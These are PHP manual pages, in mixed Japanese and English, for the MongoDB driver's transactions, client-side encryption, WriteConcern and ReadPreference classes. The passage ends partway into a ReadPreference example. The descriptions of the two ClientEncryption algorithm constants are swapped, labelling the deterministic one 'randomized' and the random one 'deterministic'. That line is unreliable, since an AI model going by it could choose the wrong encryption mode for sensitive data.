final public MongoDB\Driver\Session::startTransaction ( array $options = ? ) : void

Starts a multi-document transaction associated with the session. At any given time, you can have at most one open transaction for a session. After starting a transaction, the session object must be passed to each operation via the "session" option (e.g. MongoDB\Driver\Manager::executeBulkWrite()) in order to associate that operation with the transaction.

Transactions can be committed through MongoDB\Driver\Session::commitTransaction(), and aborted with MongoDB\Driver\Session::abortTransaction(). Transactions are also automatically aborted when the session is closed from garbage collection or by explicitly calling MongoDB\Driver\Session::endSession().

パラメータ

options

Options can be passed as argument to this method. Each element in this options array overrides the corresponding option from the "defaultTransactionOptions" option, if set when starting the session with MongoDB\Driver\Manager::startSession().

options
Option Type Description
maxCommitTimeMS integer

commitTransaction コマンドが実行できる最大の時間をミリ秒単位で指定します

指定する場合、 maxCommitTimeMS は、符号付き32bit の整数より大きいか、0でなければなりません

readConcern MongoDB\Driver\ReadConcern

A read concern to apply to the operation.

This option is available in MongoDB 3.2+ and will result in an exception at execution time if specified for an older server version.

readPreference MongoDB\Driver\ReadPreference

A read preference to use for selecting a server for the operation.

writeConcern MongoDB\Driver\WriteConcern

A write concern to apply to the operation.

返り値

値を返しません。

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • Throws MongoDB\Driver\Exception\CommandException if the transaction could not be started because of a server-side problem (e.g. a lock could not be obtained).
  • Throws MongoDB\Driver\Exception\RuntimeException if the transaction could not be started (e.g. a transaction was already started).

変更履歴

バージョン | 説明
PECL mongodb 1.6.0 | The "maxCommitTimeMS" option was added.

参考

  • MongoDB\Driver\Manager::startSession() - Start a new client session for use with this client
  • MongoDB\Driver\Session::commitTransaction() - Commits a transaction
  • MongoDB\Driver\Session::abortTransaction() - Aborts a transaction

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\ClientEncryption class

(mongodb >=1.7.0)

はじめに

The MongoDB\Driver\ClientEncryption class handles creation of data keys for client-side encryption, as well as manually encrypting and decrypting values.

クラス概要

final MongoDB\Driver\ClientEncryption {
/* Constants */
const string AEAD_AES_256_CBC_HMAC_SHA_512_DETERMINISTIC = AEAD_AES_256_CBC_HMAC_SHA_512-Deterministic ;
const string AEAD_AES_256_CBC_HMAC_SHA_512_RANDOM = AEAD_AES_256_CBC_HMAC_SHA_512-Random ;
/* メソッド */
final public createDataKey ( string $kmsProvider , array $options = ? ) : MongoDB\BSON\Binary
final public decrypt ( MongoDB\BSON\Binary $value ) : mixed
final public encrypt ( mixed $value , array $options = ? ) : MongoDB\BSON\Binary
}

定義済み定数

MongoDB\Driver\ClientEncryption::AEAD_AES_256_CBC_HMAC_SHA_512_DETERMINISTIC

Uses randomized encryption.

MongoDB\Driver\ClientEncryption::AEAD_AES_256_CBC_HMAC_SHA_512_RANDOM

Uses deterministic (queryable) encryption.

参考

  • MongoDB\Driver\Manager::createClientEncryption()

目次

  • MongoDB\Driver\ClientEncryption::createDataKey — Create a new encryption data key
  • MongoDB\Driver\ClientEncryption::decrypt — Decrypt a value
  • MongoDB\Driver\ClientEncryption::encrypt — Encrypt a value

User Contributed Notes

There are no user contributed notes for this page.


Create a new encryption data key

  • ≪ MongoDB\Driver\ClientEncryption
  • MongoDB\Driver\ClientEncryption::decrypt ≫
  • PHP Manual
  • MongoDB\Driver\ClientEncryption
  • Create a new encryption data key

MongoDB\Driver\ClientEncryption::createDataKey

(mongodb >=1.7.0)

MongoDB\Driver\ClientEncryption::createDataKey — Create a new encryption data key

説明

final public MongoDB\Driver\ClientEncryption::createDataKey ( string $kmsProvider , array $options = ? ) : MongoDB\BSON\Binary

Creates a new key document and inserts it into the key vault collection.

パラメータ

kmsProvider

The KMS provider ("local" or "aws") that will be used to encrypt the new encryption key.

options

Data key options
Option Type Description
masterKey array

The masterKey identifies a KMS-specific key used to encrypt the new data key. If the kmsProvider is aws it is required and has the following fields:

AWS masterKey options
Option | Type | Description
region | string | Required.
key | string | Required. The Amazon Resource Name (ARN) to the AWS customer master key (CMK).
endpoint | string | Optional. An alternate host identifier to send KMS requests to. May include port number.

keyAltNames array

An optional list of string alternate names used to reference a key. If a key is created with alternate names, then encryption may refer to the key by the unique alternate name instead of by _id.

返り値

Returns the identifier of the new key as a MongoDB\BSON\Binary object with subtype 4 (UUID).

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • Throws MongoDB\Driver\Exception\EncryptionException if an error occurs while creating the data key

User Contributed Notes

There are no user contributed notes for this page.


Decrypt a value

  • ≪ MongoDB\Driver\ClientEncryption::createDataKey
  • MongoDB\Driver\ClientEncryption::encrypt ≫
  • PHP Manual
  • MongoDB\Driver\ClientEncryption
  • Decrypt a value

MongoDB\Driver\ClientEncryption::decrypt

(mongodb >=1.7.0)

MongoDB\Driver\ClientEncryption::decrypt — Decrypt a value

説明

final public MongoDB\Driver\ClientEncryption::decrypt ( MongoDB\BSON\Binary $value ) : mixed

Decrypts the value.

パラメータ

value

A MongoDB\BSON\Binary instance with subtype 6 containing the encrypted value.

返り値

Returns the decrypted value as it was passed to MongoDB\Driver\ClientEncryption::encrypt().

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • Throws MongoDB\Driver\Exception\EncryptionException if an error occurs while decrypting the value

参考

  • MongoDB\Driver\ClientEncryption::encrypt() - Encrypt a value

User Contributed Notes

There are no user contributed notes for this page.


Encrypt a value

  • ≪ MongoDB\Driver\ClientEncryption::decrypt
  • MongoDB\Driver\WriteConcern ≫
  • PHP Manual
  • MongoDB\Driver\ClientEncryption
  • Encrypt a value

MongoDB\Driver\ClientEncryption::encrypt

(mongodb >=1.7.0)

MongoDB\Driver\ClientEncryption::encrypt — Encrypt a value

説明

final public MongoDB\Driver\ClientEncryption::encrypt ( mixed $value , array $options = ? ) : MongoDB\BSON\Binary

Encrypts the value.

パラメータ

value

The value to be encrypted. Any value that can be inserted into MongoDB can be encrypted using this method.

options

Encryption options
Option Type Description
algorithm string

The encryption algorithm to be used. Use the constants defined in MongoDB\Driver\ClientEncryption.

keyAltName string

Identifies a key vault collection document by keyAltName.

keyId MongoDB\BSON\Binary

Identifies a data key by _id. The value is a UUID (binary subtype 4).

注意: Exactly one of keyId and keyAltName must be provided. The algorithm option is required.

返り値

Returns the encrypted value as MongoDB\BSON\Binary object with subtype 6.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • Throws MongoDB\Driver\Exception\EncryptionException if an error occurs while encrypting the value

参考

  • MongoDB\Driver\ClientEncryption::decrypt() - Decrypt a value

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\WriteConcern class

(mongodb >=1.0.0)

はじめに

MongoDB\Driver\WriteConcern describes the level of acknowledgement requested from MongoDB for write operations to a standalone mongod or to replica sets or to sharded clusters. In sharded clusters, mongos instances will pass the write concern on to the shards.

クラス概要

final MongoDB\Driver\WriteConcern implements MongoDB\BSON\Serializable , Serializable {
/* Constants */
const string MAJORITY = "majority" ;
/* メソッド */
final public bsonSerialize ( ) : object
final public __construct ( string|int $w , int $wtimeout = ? , bool $journal = ? )
final public getJournal ( ) : bool|null
final public getW ( ) : string|int|null
final public getWtimeout ( ) : int|MongoDB\BSON\Int64
final public isDefault ( ) : bool
final public serialize ( ) : string
final public unserialize ( string $serialized ) : void
}

定義済み定数

MongoDB\Driver\WriteConcern::MAJORITY

Majority of all the members in the set; arbiters, non-voting members, passive members, hidden members and delayed members are all included in the definition of majority write concern.

変更履歴

バージョン | 説明
PECL mongodb 1.7.0 | Implements Serializable.
PECL mongodb 1.2.0 | Implements MongoDB\BSON\Serializable.

目次

  • MongoDB\Driver\WriteConcern::bsonSerialize — Returns an object for BSON serialization
  • MongoDB\Driver\WriteConcern::__construct — Create a new WriteConcern
  • MongoDB\Driver\WriteConcern::getJournal — Returns the WriteConcern's "journal" option
  • MongoDB\Driver\WriteConcern::getW — Returns the WriteConcern's "w" option
  • MongoDB\Driver\WriteConcern::getWtimeout — Returns the WriteConcern's "wtimeout" option
  • MongoDB\Driver\WriteConcern::isDefault — Checks if this is the default write concern
  • MongoDB\Driver\WriteConcern::serialize — Serialize a WriteConcern
  • MongoDB\Driver\WriteConcern::unserialize — Unserialize a WriteConcern

User Contributed Notes

There are no user contributed notes for this page.


Returns an object for BSON serialization

  • ≪ MongoDB\Driver\WriteConcern
  • MongoDB\Driver\WriteConcern::__construct ≫
  • PHP Manual
  • MongoDB\Driver\WriteConcern
  • Returns an object for BSON serialization

MongoDB\Driver\WriteConcern::bsonSerialize

(mongodb >=1.2.0)

MongoDB\Driver\WriteConcern::bsonSerialize — Returns an object for BSON serialization

説明

final public MongoDB\Driver\WriteConcern::bsonSerialize ( ) : object

パラメータ

この関数にはパラメータはありません。

返り値

Returns an object for serializing the WriteConcern as BSON.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\WriteConcern::bsonSerialize() with majority write concern

<?php

$wc = new MongoDB\Driver\WriteConcern(MongoDB\Driver\WriteConcern::MAJORITY);
var_dump($wc->bsonSerialize());

echo "\n", MongoDB\BSON\toJSON(MongoDB\BSON\fromPHP($wc));

?>

上の例の出力は、 たとえば以下のようになります。

object(stdClass)#2 (1) {
  ["w"]=>
  string(8) "majority"
}

{ "w" : "majority" }

例2 MongoDB\Driver\WriteConcern::bsonSerialize() with wtimeout and journal

<?php

$wc = new MongoDB\Driver\WriteConcern(2, 1000, true);
var_dump($wc->bsonSerialize());

echo "\n", MongoDB\BSON\toJSON(MongoDB\BSON\fromPHP($wc));

?>

上の例の出力は、 たとえば以下のようになります。

object(stdClass)#2 (3) {
  ["w"]=>
  int(2)
  ["j"]=>
  bool(true)
  ["wtimeout"]=>
  int(1000)
}

{ "w" : 2, "j" : true, "wtimeout" : 1000 }

参考

  • MongoDB\BSON\Serializable::bsonSerialize() - Provides an array or document to serialize as BSON
  • » Write Concern reference

User Contributed Notes

There are no user contributed notes for this page.


Create a new WriteConcern

  • ≪ MongoDB\Driver\WriteConcern::bsonSerialize
  • MongoDB\Driver\WriteConcern::getJournal ≫
  • PHP Manual
  • MongoDB\Driver\WriteConcern
  • Create a new WriteConcern

MongoDB\Driver\WriteConcern::__construct

(mongodb >=1.0.0)

MongoDB\Driver\WriteConcern::__construct — Create a new WriteConcern

説明

final public MongoDB\Driver\WriteConcern::__construct ( string|int $w , int $wtimeout = ? , bool $journal = ? )

Constructs a new MongoDB\Driver\WriteConcern, which is an immutable value object.

パラメータ

w

Write concern
Value | Description
1 | Requests acknowledgement that the write operation has propagated to the standalone mongod or the primary in a replica set. This is the default write concern for MongoDB.
0 | Requests no acknowledgment of the write operation. However, this may return information about socket exceptions and networking errors to the application.
<integer greater than 1> | Numbers greater than 1 are valid only for replica sets to request acknowledgement from specified number of members, including the primary.
MongoDB\Driver\WriteConcern::MAJORITY

Requests acknowledgment that write operations have propagated to the majority of voting nodes, including the primary, and have been written to the on-disk journal for these nodes.

Prior to MongoDB 3.0, this refers to the majority of replica set members (not just voting nodes).

string | A string value is interpereted as a tag set. Requests acknowledgement that the write operations have propagated to a replica set member with the specified tag.

wtimeout

How long to wait (in milliseconds) for secondaries before failing.

wtimeout causes write operations to return with an error (WriteConcernError) after the specified limit, even if the required write concern will eventually succeed. When these write operations return, MongoDB does not undo successful data modifications performed before the write concern exceeded the wtimeout time limit.

If specified, wtimeout must be a signed 64-bit integer greater than or equal to zero.

Write concern timeout
Value | Description
0 | Block indefinitely. This is the default.
<integer greater than 0> | Milliseconds to wait until returning.

journal

Wait until mongod has applied the write to the journal.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if w is invalid or wtimeout is either negative or greater than the bounds of a signed 32-bit integer.

変更履歴

バージョン | 説明
PECL mongodb 1.7.0 | The wTimeout parameter now accepts 64-bit values.

例

例1 MongoDB\Driver\WriteConcern::__construct() example

<?php

/* Request write acknowledgement from the majority of the replica set nodes */
$wc = new MongoDB\Driver\WriteConcern(MongoDB\Driver\WriteConcern::MAJORITY, 500);

/* Request write acknowledgement from a node configured with the "MultipleDC" tag */
$wc = new MongoDB\Driver\WriteConcern("MultipleDC", 500);

?>

参考

  • » Write Concern reference

User Contributed Notes

There are no user contributed notes for this page.


Returns the WriteConcern's "journal" option

  • ≪ MongoDB\Driver\WriteConcern::__construct
  • MongoDB\Driver\WriteConcern::getW ≫
  • PHP Manual
  • MongoDB\Driver\WriteConcern
  • Returns the WriteConcern's "journal" option

MongoDB\Driver\WriteConcern::getJournal

(mongodb >=1.0.0)

MongoDB\Driver\WriteConcern::getJournal — Returns the WriteConcern's "journal" option

説明

final public MongoDB\Driver\WriteConcern::getJournal ( ) : bool|null

パラメータ

この関数にはパラメータはありません。

返り値

Returns the WriteConcern's "journal" option.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\WriteConcern::getJournal() example

<?php

$wc = new MongoDB\Driver\WriteConcern(1);
var_dump($wc->getJournal());

$wc = new MongoDB\Driver\WriteConcern(1, 0, true);
var_dump($wc->getJournal());

$wc = new MongoDB\Driver\WriteConcern(1, 0, false);
var_dump($wc->getJournal());

?>

上の例の出力は以下となります。

NULL
bool(true)
bool(false)

参考

  • » Write Concern reference

User Contributed Notes

There are no user contributed notes for this page.


Returns the WriteConcern's "w" option

  • ≪ MongoDB\Driver\WriteConcern::getJournal
  • MongoDB\Driver\WriteConcern::getWtimeout ≫
  • PHP Manual
  • MongoDB\Driver\WriteConcern
  • Returns the WriteConcern's "w" option

MongoDB\Driver\WriteConcern::getW

(mongodb >=1.0.0)

MongoDB\Driver\WriteConcern::getW — Returns the WriteConcern's "w" option

説明

final public MongoDB\Driver\WriteConcern::getW ( ) : string|int|null

パラメータ

この関数にはパラメータはありません。

返り値

Returns the WriteConcern's "w" option.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\WriteConcern::getW() example

<?php

$wc = new MongoDB\Driver\WriteConcern(1);
var_dump($wc->getW());

$wc = new MongoDB\Driver\WriteConcern(MongoDB\Driver\WriteConcern::MAJORITY);
var_dump($wc->getW());

?>

上の例の出力は以下となります。

int(1)
string(8) "majority"

参考

  • » Write Concern reference

User Contributed Notes

There are no user contributed notes for this page.


Returns the WriteConcern's "wtimeout" option

  • ≪ MongoDB\Driver\WriteConcern::getW
  • MongoDB\Driver\WriteConcern::isDefault ≫
  • PHP Manual
  • MongoDB\Driver\WriteConcern
  • Returns the WriteConcern's "wtimeout" option

MongoDB\Driver\WriteConcern::getWtimeout

(mongodb >=1.0.0)

MongoDB\Driver\WriteConcern::getWtimeout — Returns the WriteConcern's "wtimeout" option

説明

final public MongoDB\Driver\WriteConcern::getWtimeout ( ) : int|MongoDB\BSON\Int64

パラメータ

この関数にはパラメータはありません。

返り値

Returns the WriteConcern's "wtimeout" option.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

変更履歴

バージョン | 説明
PECL mongodb 1.7.0 | On 32-bit systems, this method will return a MongoDB\BSON\Int64 instance if the WriteConcern object was created with a wTimeout that exceeds the 32-bit range. On 64-bit systems, this method will always return an integer value.

例

例1 MongoDB\Driver\WriteConcern::getWtimeout() example

<?php

$wc = new MongoDB\Driver\WriteConcern(1);
var_dump($wc->getWtimeout());

$wc = new MongoDB\Driver\WriteConcern(MongoDB\Driver\WriteConcern::MAJORITY, 3000);
var_dump($wc->getWtimeout());

?>

上の例の出力は以下となります。

int(0)
int(3000)

参考

  • » Write Concern reference

User Contributed Notes

There are no user contributed notes for this page.


Checks if this is the default write concern

  • ≪ MongoDB\Driver\WriteConcern::getWtimeout
  • MongoDB\Driver\WriteConcern::serialize ≫
  • PHP Manual
  • MongoDB\Driver\WriteConcern
  • Checks if this is the default write concern

MongoDB\Driver\WriteConcern::isDefault

(mongodb >=1.3.0)

MongoDB\Driver\WriteConcern::isDefault — Checks if this is the default write concern

説明

final public MongoDB\Driver\WriteConcern::isDefault ( ) : bool

Returns whether this is the default write concern (i.e. no options are specified). This method is primarily intended to be used in conjunction with MongoDB\Driver\Manager::getWriteConcern() to determine whether the Manager has been constructed without any write concern options.

The driver will not include a default write concern in its write operations (e.g. MongoDB\Driver\Manager::executeBulkWrite()) in order to allow the server to apply its own default, which may have been » modified. Libraries that access the Manager's write concern to include it in their own write commands should use this method to ensure that default write concerns are left unset.

パラメータ

この関数にはパラメータはありません。

返り値

Returns true if this is the default write concern and false otherwise.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\WriteConcern::isDefault() example

<?php

$wc = new MongoDB\Driver\WriteConcern(1);
var_dump($wc->isDefault());

$manager = new MongoDB\Driver\Manager('mongodb://127.0.0.1/?w=majority');
$wc = $manager->getWriteConcern();
var_dump($wc->isDefault());

$manager = new MongoDB\Driver\Manager('mongodb://127.0.0.1/');
$wc = $manager->getWriteConcern();
var_dump($wc->isDefault());

?>

上の例の出力は以下となります。

bool(false)
bool(false)
bool(true)

参考

  • MongoDB\Driver\Manager::getWriteConcern() - Return the WriteConcern for the Manager
  • » Modify Default Write Concern in the MongoDB manual
  • » Write Concern reference

User Contributed Notes

There are no user contributed notes for this page.


Serialize a WriteConcern

  • ≪ MongoDB\Driver\WriteConcern::isDefault
  • MongoDB\Driver\WriteConcern::unserialize ≫
  • PHP Manual
  • MongoDB\Driver\WriteConcern
  • Serialize a WriteConcern

MongoDB\Driver\WriteConcern::serialize

(mongodb >=1.7.0)

MongoDB\Driver\WriteConcern::serialize — Serialize a WriteConcern

説明

final public MongoDB\Driver\WriteConcern::serialize ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the serialized representation of the MongoDB\Driver\WriteConcern.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\WriteConcern::unserialize() - Unserialize a WriteConcern
  • serialize() - 値の保存可能な表現を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a WriteConcern

  • ≪ MongoDB\Driver\WriteConcern::serialize
  • MongoDB\Driver\ReadPreference ≫
  • PHP Manual
  • MongoDB\Driver\WriteConcern
  • Unserialize a WriteConcern

MongoDB\Driver\WriteConcern::unserialize

(mongodb >=1.7.0)

MongoDB\Driver\WriteConcern::unserialize — Unserialize a WriteConcern

説明

final public MongoDB\Driver\WriteConcern::unserialize ( string $serialized ) : void

パラメータ

serialized

The serialized MongoDB\Driver\WriteConcern.

返り値

Returns the unserialized MongoDB\Driver\WriteConcern.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the properties cannot be unserialized (i.e. serialized was malformed).
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the properties are invalid (e.g. missing fields or invalid values).

参考

  • MongoDB\Driver\WriteConcern::serialize() - Serialize a WriteConcern
  • unserialize() - 保存用表現から PHP の値を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\ReadPreference class

(mongodb >=1.0.0)

はじめに

クラス概要

final MongoDB\Driver\ReadPreference implements MongoDB\BSON\Serializable , Serializable {
/* Constants */
const int RP_PRIMARY = 1 ;
const int RP_PRIMARY_PREFERRED = 5 ;
const int RP_SECONDARY = 2 ;
const int RP_SECONDARY_PREFERRED = 6 ;
const int RP_NEAREST = 10 ;
const string PRIMARY = primary ;
const string PRIMARY_PREFERRED = primaryPreferred ;
const string SECONDARY = secondary ;
const string SECONDARY_PREFERRED = secondaryPreferred ;
const string NEAREST = nearest ;
const int NO_MAX_STALENESS = -1 ;
const int SMALLEST_MAX_STALENESS_SECONDS = 90 ;
/* メソッド */
final public bsonSerialize ( ) : object
final public __construct ( string|int $mode , array $tagSets = null , array $options = array() )
final public getHedge ( ) : object|null
final public getMaxStalenessSeconds ( ) : int
final public getMode ( ) : int
final public getModeString ( ) : string
final public getTagSets ( ) : array
final public serialize ( ) : string
final public unserialize ( string $serialized ) : void
}

定義済み定数

MongoDB\Driver\ReadPreference::RP_PRIMARY

All operations read from the current replica set primary. This is the default read preference for MongoDB.

MongoDB\Driver\ReadPreference::RP_PRIMARY_PREFERRED

In most situations, operations read from the primary but if it is unavailable, operations read from secondary members.

MongoDB\Driver\ReadPreference::RP_SECONDARY

All operations read from the secondary members of the replica set.

MongoDB\Driver\ReadPreference::RP_SECONDARY_PREFERRED

In most situations, operations read from secondary members but if no secondary members are available, operations read from the primary.

MongoDB\Driver\ReadPreference::RP_NEAREST

Operations read from member of the replica set with the least network latency, irrespective of the member's type.

MongoDB\Driver\ReadPreference::PRIMARY

All operations read from the current replica set primary. This is the default read preference for MongoDB.

MongoDB\Driver\ReadPreference::PRIMARY_PREFERRED

In most situations, operations read from the primary but if it is unavailable, operations read from secondary members.

MongoDB\Driver\ReadPreference::SECONDARY

All operations read from the secondary members of the replica set.

MongoDB\Driver\ReadPreference::SECONDARY_PREFERRED

In most situations, operations read from secondary members but if no secondary members are available, operations read from the primary.

MongoDB\Driver\ReadPreference::NEAREST

Operations read from member of the replica set with the least network latency, irrespective of the member's type.

MongoDB\Driver\ReadPreference::NO_MAX_STALENESS

The default value for the "maxStalenessSeconds" option is to specify no limit on maximum staleness, which means that the driver will not consider a secondary's lag when choosing where to direct a read operation.

MongoDB\Driver\ReadPreference::SMALLEST_MAX_STALENESS_SECONDS

The minimum value for the "maxStalenessSeconds" option is 90 seconds. The driver estimates secondaries' staleness by periodically checking the latest write date of each replica set member. Since these checks are infrequent, the staleness estimate is coarse. Thus, the driver cannot enforce a max staleness value of less than 90 seconds.

変更履歴

バージョン | 説明
PECL mongodb 1.7.0 | Added the MongoDB\Driver\ReadPreference::PRIMARY, MongoDB\Driver\ReadPreference::PRIMARY_PREFERRED, MongoDB\Driver\ReadPreference::SECONDARY, MongoDB\Driver\ReadPreference::SECONDARY_PREFERRED, MongoDB\Driver\ReadPreference::NEAREST constants. Implements Serializable.
PECL mongodb 1.2.0 | Added the MongoDB\Driver\ReadPreference::NO_MAX_STALENESS and MongoDB\Driver\ReadPreference::SMALLEST_MAX_STALENESS_SECONDS constants. Implements MongoDB\BSON\Serializable.

目次

  • MongoDB\Driver\ReadPreference::bsonSerialize — Returns an object for BSON serialization
  • MongoDB\Driver\ReadPreference::__construct — Create a new ReadPreference
  • MongoDB\Driver\ReadPreference::getHedge — Returns the ReadPreference's "hedge" option
  • MongoDB\Driver\ReadPreference::getMaxStalenessSeconds — Returns the ReadPreference's "maxStalenessSeconds" option
  • MongoDB\Driver\ReadPreference::getMode — Returns the ReadPreference's "mode" option
  • MongoDB\Driver\ReadPreference::getModeString — Returns the ReadPreference's "mode" option as a string
  • MongoDB\Driver\ReadPreference::getTagSets — Returns the ReadPreference's "tagSets" option
  • MongoDB\Driver\ReadPreference::serialize — Serialize a ReadPreference
  • MongoDB\Driver\ReadPreference::unserialize — Unserialize a ReadPreference

User Contributed Notes

There are no user contributed notes for this page.


Returns an object for BSON serialization

  • ≪ MongoDB\Driver\ReadPreference
  • MongoDB\Driver\ReadPreference::__construct ≫
  • PHP Manual
  • MongoDB\Driver\ReadPreference
  • Returns an object for BSON serialization

MongoDB\Driver\ReadPreference::bsonSerialize

(mongodb >=1.2.0)

MongoDB\Driver\ReadPreference::bsonSerialize — Returns an object for BSON serialization

説明

final public MongoDB\Driver\ReadPreference::bsonSerialize ( ) : object

パラメータ

この関数にはパラメータはありません。

返り値

Returns an object for serializing the ReadPreference as BSON.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\ReadPreference::bsonSerialize() with primary read preference

<?php

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_PRIMARY);
var_dump($rp->bsonSerialize());

echo "\n", MongoDB\BSON\toJSON(MongoDB\BSON\fromPHP($rp));

?>

上の例の出力は、 たとえば以下のようになります。

object(stdClass)#2 (1) {
  ["mode"]=>
  string(7) "primary"
}

{ "mode" : "primary" }

例2 MongoDB\Driver\ReadPreference::bsonSerialize() with secondary read preference and tag sets

<?php

$rp = new MongoDB\Driver\ReadPreference(
    MongoDB\Driver\ReadPreference::RP_SECONDARY,
    [
        ['dc' => 'ny'],
        ['dc' => 'sf', 'use' => 'reporting'],
        []
    ]
);
var_dump($rp->bsonSerialize());

echo "\n", MongoDB\BSON\toJSON(MongoDB\BSON\fromPHP($rp));

?>

上の例の出力は、 たとえば以下のようになります。

object(stdClass)#2 (2) {
  ["mode"]=>
  string(9) "secondary"
  ["tags"]=>
  array(3) {
    [0]=>
    object(stdClass)#1 (1) {
      ["dc"]=>
      string(2) "ny"
    }
    [1]=>
    object(stdClass)#5 (2) {
      ["dc"]=>
      string(2) "sf"
      ["use"]=>
      string(9) "reporting"
    }
    [2]=>
    object(stdClass)#4 (0) {
    }
  }
}

{ "mode" : "secondary", "tags" : [ { "dc" : "ny" }, { "dc" : "sf", "use" : "reporting" }, {  } ] }

例3 MongoDB\Driver\ReadPreference::bsonSerialize() with secondary read preference and max staleness

<?php

$rp = new MongoDB\Driver\ReadPreference(
    MongoDB\Driver\ReadPreference::RP_SECONDARY,
    null,
    ['maxStalenessSeconds' => 120]
);
var_dump($rp->bsonSerialize());

echo "\n", MongoDB\BSON\toJSON(MongoDB\BSON\fromPHP($rp));

?>

上の例の出力は、 たとえば以下のようになります。

object(stdClass)#2 (2) {
  ["mode"]=>
  string(9) "secondary"
  ["maxStalenessSeconds"]=>
  int(120)
}

{ "mode" : "secondary", "maxStalenessSeconds" : 120 }

参考

  • MongoDB\BSON\Serializable::bsonSerialize() - Provides an array or document to serialize as BSON
  • » Read Preference reference

User Contributed Notes

There are no user contributed notes for this page.


Create a new ReadPreference

  • ≪ MongoDB\Driver\ReadPreference::bsonSerialize
  • MongoDB\Driver\ReadPreference::getHedge ≫
  • PHP Manual
  • MongoDB\Driver\ReadPreference
  • Create a new ReadPreference

MongoDB\Driver\ReadPreference::__construct

(mongodb >=1.0.0)

MongoDB\Driver\ReadPreference::__construct — Create a new ReadPreference

説明

final public MongoDB\Driver\ReadPreference::__construct ( string|int $mode , array $tagSets = null , array $options = array() )

Constructs a new MongoDB\Driver\ReadPreference, which is an immutable value object.

パラメータ

mode

Read preference mode
Value Description
MongoDB\Driver\ReadPreference::RP_PRIMARY or "primary"

All operations read from the current replica set primary. This is the default read preference for MongoDB.

MongoDB\Driver\ReadPreference::RP_PRIMARY_PREFERRED or "primaryPreferred"

In most situations, operations read from the primary but if it is unavailable, operations read from secondary members.

MongoDB\Driver\ReadPreference::RP_SECONDARY or "secondary"

All operations read from the secondary members of the replica set.

MongoDB\Driver\ReadPreference::RP_SECONDARY_PREFERRED or "secondaryPreferred"

In most situations, operations read from secondary members but if no secondary members are available, operations read from the primary.

MongoDB\Driver\ReadPreference::RP_NEAREST or "nearest"

Operations read from member of the replica set with the least network latency, irrespective of the member's type.

tagSets

Tag sets allow you to target read operations to specific members of a replica set. This parameter should be an array of associative arrays, each of which contain zero or more key/value pairs. When selecting a server for a read operation, the driver attempt to select a node having all tags in a set (i.e. the associative array of key/value pairs). If selection fails, the driver will attempt subsequent sets. An empty tag set (array()) will match any node and may be used as a fallback.

Tags are not compatible with the MongoDB\Driver\ReadPreference::RP_PRIMARY mode and, in general, only apply when selecting a secondary member of a set for a read operation. However, the MongoDB\Driver\ReadPreference::RP_NEAREST mode, when combined with a tag set, selects the matching member with the lowest network latency. This member may be a primary or secondary.

options

options
Option Type Description
hedge object|array

Specifies whether to use » hedged reads, which are supported by MongoDB 4.4+ for sharded queries.

Server hedged reads are available for all non-primary read preferences and are enabled by default when using the "nearest" mode. This option allows explicitly enabling server hedged reads for non-primary read preferences by specifying ['enabled' => true], or explicitly disabling server hedged reads for the "nearest" read preference by specifying ['enabled' => false].

maxStalenessSeconds int

Specifies a maximum replication lag, or "staleness", for reads from secondaries. When a secondary's estimated staleness exceeds this value, the driver stops using it for read operations.

If specified, the max staleness must be a signed 32-bit integer greater than or equal to MongoDB\Driver\ReadPreference::SMALLEST_MAX_STALENESS_SECONDS.

Defaults to MongoDB\Driver\ReadPreference::NO_MAX_STALENESS, which means that the driver will not consider a secondary's lag when choosing where to direct a read operation.

This option is not compatible with the MongoDB\Driver\ReadPreference::RP_PRIMARY mode. Specifying a max staleness also requires all MongoDB instances in the deployment to be using MongoDB 3.4+. An exception will be thrown at execution time if any MongoDB instances in the deployment are of an older server version.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if mode is invalid.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if tagSets is provided for a primary read preference or is malformed (i.e. not an array of zero or more documents).
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "maxStalenessSeconds" option is provided for a primary read preference or is out of range.

変更履歴

バージョン | 説明
PECL mongodb 1.8.0 | Added the "hedge" option.
PECL mongodb 1.3.0 | The mode argument now accepts a string value, which is consistent with the "readPreference" URI option for MongoDB\Driver\Manager::__construct().
PECL mongodb 1.2.0 | Added a third options argument, which supports the "maxStalenessSeconds" option.

例

例1 MongoDB\Driver\ReadPreference::__construct() example

<?php

/* Prefer a secondary node but fall back to a primary. */
